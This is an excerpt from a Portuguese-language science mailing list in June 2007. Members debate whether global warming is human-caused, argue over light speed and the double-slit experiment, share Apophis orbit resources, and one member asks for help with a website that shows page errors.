DATE: 12/06/2007 13:31

> Q verdade?

Alguns emails atrás foi dito:
Eduardo Torres> Pode ou nao ser verdade [que o aquecimento global seja
causado pela ação humana]

Ou seja: "Há incerteza sobre o aquecimento global ser causado pela ação humana".

Esta é a verdade.

> Q mentira?

A afirmação que automaticamente se torna mentira quando se toma a
outra por verdade ("Aquecimento global causado pela ação humana"
versus "Incerteza sobre o aquecimento ser causado pela ação humana")

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 14:54

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Vou fazer uma analogia, me corrija se for
> equivicada. A luz seria como um filme sendo projetado
> na tela de um cinema. Quando vamos medir é como se
> entrassemos na sala no meio do filme. Ou seja, a luz
> já foi acelerada antes de começarmos a medir sua
> velocidade. Assim não temos como saber como é que ela
> atingiu esta velocidade, mas só a velocidade. Entende?
> Faz sentido?

Não entendo. A luz *não* é acelerada. Em qq meio uniforme a luz tem
uma velocidade constante. Nesse aspecto é similar às ondas sonoras.

> --- Nada fisico, é isto que quer dizer? Nenhum corpo
> (fisico), é isto que quer dizer, certo?

Nada conhecido pode ser acelerado de uma velocidade subluminal até a
velocidade da luz. É isso o q quero dizer.

> Takata >>> A luz - no vácuo - tem sempre velocidade
> igual à da luz - não pode ser nem mm desacelerada.
>
> --- Vc diz "a luz", como se fosse um ente. Por favor,
> Takata, me diga qual é sua definição de luz.

É a dos físicos. Há duas possíveis: uma onda eletromagnética e/ou
fenômeno associado aos fótons.

> --- Olha que interessante, vamos supor que esta regua
> absurdamente grande existisse, para medir as
> distancias o observador precisaria caminhar sobre esta
> régua, concorda?

Não.

[]s,

Roberto Takata



SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 15:15

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> >
--- Enquanto há vida, há oportunidade, certo? E
> mostrar que sei resolver o problema não é um problema
> meu, é seu. Com todo respeito.

Mais uma oportunidade perdida de demonstrar q vc sabe resolver o
problema e não colou de ninguém.

> --- Do fato que Um é Um, indivisivel.

1/2 = 0,5 (c.q.d.)

[]s,

Roberto Takata



SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 15:24

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> Ou seja: "Há incerteza sobre o aquecimento global ser causado pela
> ação humana".

Há incerteza em *qualquer* hipótese.

> > Q mentira?
>
> A afirmação que automaticamente se torna mentira quando se toma a
> outra por verdade ("Aquecimento global causado pela ação humana"
> versus "Incerteza sobre o aquecimento ser causado pela ação humana")

Automaticamente não. Mas é possível mentir dizendo só a verdade (como
na antiga campanha premiada da Folha):

"Tendo visto o imediato em estado de embriaguez, o capitão anotou em
seu diário de bordo:
- O imediato estava bêbado hoje.
No dia seguinte o imediato ao ler a anotação tentou convencer o
capitão a retirar a observação desabonadora que lhe custaria futuras
promoções. O capitão não se comoveu, dizendo que era a verdade e ela
deveria ser dita custasse o que custasse.
O imadiato então anotou no diário:
- O capitão estava sóbrio hoje."

Os lógicos chamam de "falácia da ênfase".

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/06/2007 15:43

Sempre tenho que ler ... fazer o que?

Takata >>> Não sei de onde vc tirou q a matéria é de
fato indivisível...

Ferrari >>> Do fato que Um é Um, indivisivel.

Desde quando UM é indivisível? O que é 1/2? 1/4? 1/3? 1/32? 1/1000? Abobrinhas? Pulso da matéria?
Ferrari, 'meio' é metade do um; 'um terço' é a terça parte do um.
Aproveito para responder umas perguntas daquelas sua: "Que é vácuo"? "Que é matéria"?
Vácuo é ausência de matéria. Matéria é qqer ente real que obedeça à lei da inércia. No vácuo não há nenhum ente físico que possa obedecer à lei da inércia.
[Será que devo aguardar a pergunta: O que é 'ente real'?]

aquele abraço,

Léo


SUBJECT: Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/06/2007 15:46

Olá Esteban

A animação vai bem, quase até o final..:-) Acho que os físicos da lista podem corrigir melhor que eu, mas a alegação final oculta um fator importante, mas convenientemente "esquecido", do experimento.

Quando o professor informa que foi instalado um dispositivo de observação, e ele demonstra isso com um "olho" mecânico, vai o aviso de que este dispositivo não "impede o elétron de seguir seu curso". E como todos nós temos a impressão que "ver", observar, pela experiência de nossa vida diária, é algo que não interfere com o que é visto (parece ser algo "natural"), ficamos com a impressão de que o dispositivo observador (o olho mecanico) também age dessa forma no mundo das particulas.

Mas não é assim. O que o professor "esqueceu" de explicar é que não há forma conhecida de "observar" uma particula sub-atomica sem interferir com ela, sem modificar algo em seu comportamento. A "observação" nesse caso não é algo separado e independente do que é observado, mas algo dinâmico, que afeta o resultado da observação. É como tentar determinar a trajetória de uma bola de bilhar, não "olhando" para ela, mas enviando outras bolas de bilhar para se chocar com elas e analisar o resultado do choque.

Nesse caso, o observador afeta o observado por uma questão natural, física, não transcendental ou esotérica. "Olhar" uma bola de bilhar, um objeto do macro-cosmo, não afeta de forma alguma a bola. Já "olhar" um elétron afeta, e tem de afetar, pois as formas de observar esta partícula é interagir com ela, em frequências de onda que são do "tamanho" do objeto observado (ou maior ou menor, e que produzem resultados diferentes em termos de precisão).

O diabo é que eu gostei da animação, até quase o final..:-) Serviria de forma excelente para explicar as estranhezas da mecânica quantica para leigos, se não fosse essa "escorregada" final..:-)

Um abraço.

Homero



----- Original Message -----
From: Esteban Moreno
Sent: Tuesday, June 12, 2007 1:22 PM
Subject: [ciencialist] Animação da experiência da fenda dupla


Uma bela aula para refletir sobre os parodoxos da mecanica quântica:

http://mojiti.com/kan/4192/13741/59852

E.

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/06/2007 15:58

Ferrari <emailferrari@...>
> Takata >>> A luz - no vácuo - tem sempre velocidade
> igual à da luz - não pode ser nem mm desacelerada.
>
> Ferrari >>> Vc diz "a luz", como se fosse um ente. Por favor, Takata, me diga qual é sua definição de luz.

Takata >>> É a dos físicos. Há duas possíveis: uma onda eletromagnética e/ou
fenômeno associado aos fótons.

Ferrari >>> Olha que interessante, vamos supor que esta regua
> absurdamente grande existisse, para medir as
> distancias o observador precisaria caminhar sobre esta
> régua, concorda?

Takata >>> Não.

Léo: Olha Ferrari ... num mundo onde houver uma régua desse tamanho, os seres que a manipulam devem ser maiores ainda. Eles pegariam essa régua com uma das mãos, encostariam o "0" na Terra (uma marca de poeira) e observariam, diretamente, em que leitura cai a distância até Beteljeuze-gama.
Tão simples como medir a largura de uma folha de caderno com uma régua de madeira escolar. Os instrumentos de medição devem ser compatíveis com seus manipuladores. Já percebeu que a área das teclas do seu teclado devem ser compatíveis com as áreas das pontas dos seus dedos? Que tal mandar fazer um teclado com teclas do tamanho de cabeças de alfinetes, espaçadas de uma cabeça de alfinete? Ou do tamanho da porta de seu quarto?

[]'

Léo


SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 16:14

> Automaticamente não.

Se tu afirma que a causa de um efeito é incerta, ao mesmo tempo tu não
pode afirmar que uma ação *seja* a causa. Ou uma coisa, ou outra.

Logo:
"Há incerteza sobre o aquecimento global ser causado pela ação humana".

E

"O aquecimento global é causa da ação humana"

...são sentenças que são incompatíveis ao conhecimento sobre algo.

Assim, *necessariamente*, uma sentença deverá ser verdadeira e a outra
deverá ser falsa.

> Mas é possível mentir dizendo só a verdade

Não é o caso aqui.

Sendo assim, vamos voltar, então, à pergunta que eu havia feito:
Takata, pela incerteza das causas do aquecimento global serem uma
"verdade conveniente para Bush e seus financiadores", tu acha
legítimo, então, endossar a mentira de que o aquecimento global seja
causado pela ação humana?

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/06/2007 16:51

Chegando do rancho fui entrar na página do Imperdível. Pronto! Lá estava novamente aquela 'meleca' que o Homero (e outros) identificaram. A coisa voltou. Coloco novamente a página original on-line ... e agora aparece ___ Erro na página! ___ E não consigo achar o tal erro.
Quem se habilita a entrar na página principal e verificar que erro é esse?
Agradeço.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/06/2007 17:18

Olá Leo

Eu acessei o Feira de Ciências e está abrindo normalmente aqui.

Homero


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, June 12, 2007 4:51 PM
Subject: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!


Chegando do rancho fui entrar na página do Imperdível. Pronto! Lá estava novamente aquela 'meleca' que o Homero (e outros) identificaram. A coisa voltou. Coloco novamente a página original on-line ... e agora aparece ___ Erro na página! ___ E não consigo achar o tal erro.
Quem se habilita a entrar na página principal e verificar que erro é esse?
Agradeço.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 17:20

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> Se tu afirma que a causa de um efeito é incerta, ao mesmo tempo tu
> não pode afirmar que uma ação *seja* a causa. Ou uma coisa, ou
> outra.

Pode-se afirmar. O q não se pode é ter certeza sobre isso.

> ...são sentenças que são incompatíveis ao conhecimento sobre algo.

Não são incompatíveis. Seria incompatível com uma afirmação do tipo:
"Sem a menor sombra de dúvida, o aquecimento é causado pelas
atividaeds humanas".

> Assim, *necessariamente*, uma sentença deverá ser verdadeira e a
> outra deverá ser falsa.

Os lógicos chamam isso de "falácia da falsa dicotomia".

> Não é o caso aqui.

É bem o caso. Pois se pretende dar a impressão q a impossibilidade de
certeza significa impossibilidade de decisão ou impossibilidade de
afirmação. Novamente é aquele caso do marido q chega mais cedo em casa
e encontra a esposa com outro homem na cama.

> Sendo assim, vamos voltar, então, à pergunta que eu havia feito:
> Takata, pela incerteza das causas do aquecimento global serem uma
> "verdade conveniente para Bush e seus financiadores", tu acha
> legítimo, então, endossar a mentira de que o aquecimento global seja
> causado pela ação humana?

Pra ser mentira de q o aquecimento global seja causado pela ação
humana é preciso mais do q incerteza. É preciso certeza de q é falsa.
Ou no mínimo ter sérias dúvidas - o q significa dados q indiquem a
falsidade da hipótese.

Seu salto lógico não apresenta consistência:
- Há incerteza qto a ser verdadeiro q o aquecimento é causado pelo
homem; logo o aquecimento não é causado pelo homem.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Asteróide verdadeiro ou publicitário?
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 19:00

On 6/11/07, César A. K. Grossmann <cesarakg@gmail.com> wrote:
> Segundo, não faz sentido a alegação de que agências governamentais
> estejam escondendo informações para evitar o pânico. A prova disso é
> que assim que se soube que o Apophis poderia atingir a Terra em 2029,
> a notícia foi divulgada. Se é assim que as "agências governamentais"
> escondem informações...

E por falar no Apophis... Alguém de cálculos mais recentes sobre a
possível volta do bendito em 2036 ?

André


SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 19:04

--- Em ciencialist@yahoogrupos.com.br, "André L F S Bacci"
> E por falar no Apophis... Alguém de cálculos mais recentes sobre a
> possível volta do bendito em 2036 ?

Em 2029...

http://echo.jpl.nasa.gov/~ostro/mn4/index.html

[]s,

Roberto Takata



SUBJECT: [RN] JOSÉ REIS: 100 ANOS ESTA NOITE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 19:07

USP comemora centenário do pai da divulgação da ciência no Brasil
http://www1.folha.uol.com.br/folha/ciencia/ult306u303675.shtml
--------------------
[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Re: inversor máximo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, tipoalgo@gmail.com
DATE: 12/06/2007 19:49

Oi, Tipo.
Achei mesmo que era vc.
O besslerwheel.com é um dos melhores crackpot do ramo FE.
Sei que vc transa english... faça uma visita!
braço! M.


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: inversor máximo
>Date: Mon, 11 Jun 2007 23:36:46 -0000
>
>Olá Murilo!
>
>...
> >É vc o outro brasileiro que anda lá pelo B.Wheel?
>
>Acho que não sou eu, pois não sei o que é B.Wheel!
>
>Abraços
>Tipoalgo
>
>
>
>
>




SUBJECT: Re: Estrutura da nuvem de elétrons
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 21:23

Olá, Takata.

Obrigado pelos esclarecimentos. Existe alguma área da ciência que
você não domine?

Eu fico pensando como eles identificam a forma desses orbitais, e se
eles tem uma explicação para eles serem da forma que são. Além do
que, existem vários orbitais s, p, etc., cada um em uma camada mais
elevada. O desenho mostra apenas um orbital s e os três p da secunda
camada. Conciliar a estrutura de camadas com a de orbitais parece um
tanto complicado, ou será que todos os orbitais s podem ser postos
dentro daquela mesma esfera, e todos os p dentro daquelas mesmas
gotas? Porque senão eles teriam que colocar umas esferas dentro de
outras esferas, e umas gotas dentro de outras gotas, ou algo assim, o
que resultaria em uma estrutura eletrônica bastante complexa.
Especialmente se incluirmos os orbitais d e f. Talvez eles nem saibam
como é a estrutura eletrônica de um átomo de número atômico elevado.

Abraços,
João de Carvalho





SUBJECT: Re: Estrutura da nuvem de elétrons
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 21:42

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Obrigado pelos esclarecimentos. Existe alguma área da ciência que
> você não domine?

Tirando todas as q eu *não* conheço restariam bem poucas opções - mais
precisamente zero (mm se aplicarmos o princípio da incerteza).
(Palpitar e papagaiar é bem diferente de dominar.)

> Eu fico pensando como eles identificam a forma desses orbitais, e se
> eles tem uma explicação para eles serem da forma que são.

Até há uma explicação, mas demanda uma calculeira danada - e alguns
acochambramentos. Três princípios q nortearão são: minimização da
energia/maximização da entropia, atração/repulsão elétrica e princípio
da exclusão de Pauli (uma quarta, a troca fermiônica, tb pode ser
acrescentada à lista).

> Conciliar a estrutura de camadas com a de orbitais parece um
> tanto complicado, ou será que todos os orbitais s podem ser postos
> dentro daquela mesma esfera, e todos os p dentro daquelas mesmas
> gotas?

Não podem. Por isso são descrições distintas. Camadas, modelo
planetário de um lado; distribuição probabilística quântica de outro.

> que resultaria em uma estrutura eletrônica bastante complexa.

A estrutura eletrônica *é* de fato muito complexa.

> Talvez eles nem saibam como é a estrutura eletrônica de um átomo de
> número atômico elevado.

Realmente não sabem. Devido às complicações matemática só há uma
descrição mais ou menos completa do átomo de hidrogênio e olhe lá.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Asteróide verdadeiro ou publicitário?
FROM: André Luis Ferreira da Silva Bacci <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 23:33

rmtakata wrote:
> --- Em ciencialist@yahoogrupos.com.br, "André L F S Bacci"
>> E por falar no Apophis... Alguém de cálculos mais recentes sobre a
>> possível volta do bendito em 2036 ?
>
> Em 2029...
> http://echo.jpl.nasa.gov/~ostro/mn4/index.html

Mais 1/45000 em 2036 e mais 1/12.300.000 em 2037.

Na verdade mesmo eu queria era uma animação para poder explicar ao
pessoal do trabalho a orbita desse asteróide. Ficar gesticulando no ar
não é nada instrutivo, principalmente quando lidando com efeitos
grativacionais de obejtos muitos diferentes em tamanho e aceleração.

André


SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 23:45

--- Em ciencialist@yahoogrupos.com.br, André Luis Ferreira da Silva
> Na verdade mesmo eu queria era uma animação para poder explicar ao
> pessoal do trabalho a orbita desse asteróide.

Uma simulação online:
http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=99942;orb=1
http://neo.jpl.nasa.gov/orbits/

Vc pode tb baixar programas de simulação astronômica como o Gravity
Simulator. Lá tem um arquivo com os dados para simular a trajetória do
Apophis:
http://www.orbitsimulator.com/gravity/articles/a2004mn4.html

Há outros:
http://orsa.sourceforge.net/atwork.html
http://www.ottisoft.com/orbit_x.htm

[]s,

Roberto Takata




SUBJECT: A Nova Roma Antiga
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 00:42

http://www.romereborn.virginia.edu/
----------------
O Instituto de Tecnologia Avançada em Humanidades da Universidade de
Virgínia, EUA, recriou digitalmente a Roma Antiga (cerca de 320 a.C.).

[]s,

Roberto Takata



SUBJECT: Re: A Nova Roma Antiga
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 00:43

320 d.C.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> http://www.romereborn.virginia.edu/
> ----------------
> O Instituto de Tecnologia Avançada em Humanidades da Universidade de
> Virgínia, EUA, recriou digitalmente a Roma Antiga (cerca de 320 a.C.).
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 01:58

> Pode-se afirmar. O q não se pode é ter certeza sobre isso.

De fato. E é disso que eu estava falando.

> Não são incompatíveis. Seria incompatível com uma afirmação do tipo:
> "Sem a menor sombra de dúvida, o aquecimento é causado pelas
> atividaeds humanas".

No domínio do conhecimento são incompatíveis, sim. Perceba que eu
tomei o cuidado de dizer "conhecimento sobre algo" justamente por
isso.

> Os lógicos chamam isso de "falácia da falsa dicotomia".

Nisso me convenço que tu está certo, por que me enganei ao não
enfatizar que é justamente a *certeza* sobre a causa do aquecimento
global ser humana que é a mentira.

> Seu salto lógico não apresenta consistência:
> - Há incerteza qto a ser verdadeiro q o aquecimento é causado pelo
> homem; logo o aquecimento não é causado pelo homem.

Teu exemplo tornou evidente que me enganei classificando aquela
afirmação como mentira, automaticamente. O que quis dizer é que é
impossível afirmar (no domínio do conhecimento) que o aquecimento
global é causado pelo homem com certeza ao mesmo tempo em que se
declara a incerteza disto.

O que quis chamar de mentira, portanto, é o aquecimento global de
causas antropogênicas ser considerado uma certeza, uma verdade
objetiva, dentro do domínio epistemológico do conhecimento.

Então, reescrevendo, embora redundante:
"- Há incerteza quanto a ser verdadeiro que o aquecimento global é
causado pelo homem; logo é falso afirmar com certeza que o aquecimento
global seja causado pelo homem."

Sendo assim, vamos voltar, então, à pergunta que eu te havia feito:
Takata, pela incerteza das causas do aquecimento global serem uma
"verdade conveniente para Bush e seus financiadores", tu acha
legítimo, então, endossar a mentira de que sem sombra de dúvidas o
aquecimento global seja causado pela ação humana?

[]s
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 09:52

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> De fato. E é disso que eu estava falando.

E então fica a pergunta: "e daí?"

> Sendo assim, vamos voltar, então, à pergunta que eu te havia feito:
> Takata, pela incerteza das causas do aquecimento global serem uma
> "verdade conveniente para Bush e seus financiadores", tu acha
> legítimo, então, endossar a mentira de que sem sombra de dúvidas o
> aquecimento global seja causado pela ação humana?

Não seria legítimo. Embora, pelo a chamada grande imprensa não venha
cometendo esse equívoco.

[]s,

Roberto Takata



SUBJECT: Re: Petição contra o aquecimento global
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 10:47

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> Não há elementos q comprovem cabalmente coisa alguma! Não há provas
> absolutas para a relatividade de Einstein, para a mecânica quântica,
> para a teoria da evolução, etc.

>>>>No sentido q dei de 'cabalmente', considero essas tres teorias
cabalmente provadas.

>
> Não se trata de ser ou não chato, ser ou não agradável. Afinal
> tampouco é agradável para os países poluidores reconhecerem seu
papel
> - como o Brasil.

>>>>Quem criou a expressao 'inconveniente' nao fui eu, foi Mr. Gore.
Estava so' sendo ironico.

;-)



>>>>De fato. Como disse, nao se deve poluir o ambiente. Isso e' uma
coisa. O aquecimento global e' outra. Ha' uma area comum, mas sao
searas diferentes. Se vamos falar em problemas ambientais no Brasil,
o mais prioritario e urgente chama-se *esgoto domestico lancado in
natura em rios, lagos e praias*. *Esse* problema e' ordens de
grandeza mais prioritario q emissao de CO2, a meu ver.

>
> Marido chega em casa mais cedo.
>
> - Fato 1: Sua mulher está nua na cama.
> - Fato 2: Um homem - q não é o marido - está nu na mesma cama.
> - Fato 3: Ambos ao mm tempo.
> - Fato 4: Ambos se beijando.
> - Conclusão: "Querido, não é o q vc está pensando..."
>
> []s,
>
> Roberto Takata

>>>>Sim, vc pegou bem o espirito da coisa. Nesse caso citado, como no
caso do aquecimento global, ha' apenas a rigor evidencia
circunstancial. Pode ser q o homem nu seja um amante, mas nao se pode
eliminar a possibilidade de nao ser (embora reconheca q essa
probabilidade nao parece ser significativa).

;-)

No caso da causa antropogenica do aquecimento global, no entanto, as
probabilidades sao bem menos significativas q no caso do homem nu na
cama surpreendido nas condicoes descritas. Como disse, sequer se sabe
ao certo (nao de modo absoluto e inquestionavel, nao foi isso q quis
dizer, apenas evidencia cientifica tradicional consensualmente aceita
ja' seria suficiente) se o aquecimento global e' uma tendencia
permanente. E, se for, se e' causado pelo CO2 atmosferico. Pode ser.
Poderia ser. E' possivel q seja. Mas nao ha' evidencia inconteste (no
sentido citado) q seja. Pode nao ser. Com probabilidade maior de nao
ser q no caso do homem nu. Ja' li artigos escritos por cientistas
serios mostrando modelos q sugerem q o nivel de aumento de CO2 seria
insuficiente para a elevacao de temperatura media global observada. A
origem e' sugerida como no Sol, em funcao de movimentos do planeta.
Como se admite q foi a causa principal dos diversos ciclos de
aquecimento e resfriamento ja' observados na Terra no passado. Na
verdade ainda estamos numa Idade do Gelo. Em periodos realmente entre
Idades do Gelo, os polos e as latitudes mais extremas nao ficam
cobertos de gelo como (ainda) estao hoje. Durante os últimos milhões
de anos houve várias eras glaciais, ocorrendo com freqüências de
40.000 a 100.000 anos. Especula-se inclusive q estaríamos proximos
(em termos planetarios) de uma nova Era Glacial, já que em média o
planeta tem uns 10.000 anos de aquecimento a cada 100.000 anos de
Idade do Gelo.

Mas, repito, apoio a reducao de emissao de CO2 de qq modo.

So' q a meu ver nao ha' consenso q e' a causa do aquecimento global.
Nem q o aquecimento global veio para ficar ou e' uma oscilacao menor
de algumas decadas numa sequencia de dezenas de milhares de anos.

E essa opiniao nao e' so' minha.

Abs,
Eduardo Torres



SUBJECT: Re: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 10:52

Olá Homero,

eu abro aqui no meu PC e aparece lá em baixo (status) : Erro na página.

e eu não acho onde isso está!

grato pela tentativa.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Oraculo" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 12 de junho de 2007 17:18
Assunto: Re: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!


Olá Leo

Eu acessei o Feira de Ciências e está abrindo normalmente aqui.

Homero


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, June 12, 2007 4:51 PM
Subject: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!


Chegando do rancho fui entrar na página do Imperdível. Pronto! Lá estava novamente aquela 'meleca' que o Homero (e outros) identificaram. A coisa voltou. Coloco novamente a página original on-line ... e agora aparece ___ Erro na página! ___ E não consigo achar o tal erro.
Quem se habilita a entrar na página principal e verificar que erro é esse?
Agradeço.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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SUBJECT: Re: Petição contra o aquecimento global
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 10:56

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> "Tendo visto o imediato em estado de embriaguez, o capitão anotou em
> seu diário de bordo:
> - O imediato estava bêbado hoje.
> No dia seguinte o imediato ao ler a anotação tentou convencer o
> capitão a retirar a observação desabonadora que lhe custaria futuras
> promoções. O capitão não se comoveu, dizendo que era a verdade e ela
> deveria ser dita custasse o que custasse.
> O imadiato então anotou no diário:
> - O capitão estava sóbrio hoje."
>
> Os lógicos chamam de "falácia da ênfase".

>>>>Tenho outra historia interessante sobre essa "falácia da ênfase".
E' da epoca da Guerra Fria (q parece estar sendo agora ressuscitada
pelo Mr. Arbusto):

E' organizada uma corrida entre o mais veloz carro americano e o mais
veloz carro sovietico. O carro americano ganha facil com varias
voltas de vantagem sobre o sovietico. No dia seguinte o Pravda
anuncia: 'Carro sovietico compete com carro americano em corrida
internacional: Carro sovietico acaba em segundo lugar e americano
chega em penultimo!' A pura verdade! (alias, 'pravda' em russo quer
dizer 'verdade').

;-)

Abs,
Eduardo Torres



SUBJECT: Fw: Neutro.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 11:01

Cadê meus exemplares assistentes elétricos?
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Edwards Vieira
Para: leobarretos@uol.com.br
Enviada em: sábado, 9 de junho de 2007 09:48
Assunto: Neutro.




Dr.Luiz Ferraz Netto.



Eu, Edwards Martins Vieira, residente em Goiânia-Go. Rua Dr.José Ferreira. Qd. 45. Lt. 12. Jardim Pompéia.



Professor eu gostaria de saber, se uma rede de alta tensão ao sair da usina para uma distribuidora, esta rede necessita de ser acompanhada por um cabo de neutro ou uma malha neutra até a distribuidora.

Preciso da sua sabedoria, para que possa fazer um debate sobre neutro, porque tenho uma convicção que o neutro, esta cada vez mais difícil de ser perfeito, por causa do aquecimento do núcleo da terra.

Pode chegar um dia aonde teremos que ter equipamento para solução do neutro não encontrado, puro.

Um abraço bem grande deste seu aluno que aprende muito pesquisando seu site.



Edwards Martins

Iventor.




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Populariza��o da ci�ncia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 11:07

E agora? Que faço?

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: edsol guimarães
Para: Isabela Gomes
Cc: educacao@ipatinga.mg.gov.br ; leobarretos@uol.com.br
Enviada em: sexta-feira, 8 de junho de 2007 15:26
Assunto: Fwd: Popularização da ciência


Boa Tarde!
É um sonho meu particular.
Estou enviando para vocês apenas para conhecimento a respeito de meu projeto . Não vinculado a nenhuma entidade, o que possivelmente eu possa torná-la uma ONG.
Já solicitei apoio da FAPESP ( Fundação de Apoio à Pequisa no Estado de São Paulo) e espero ganhar umas vidrarias de algumas empresas para montagem do laboratório de apoio aos alunos carentes da rede pública para enriquecimento científico e apoio à educação num todo.
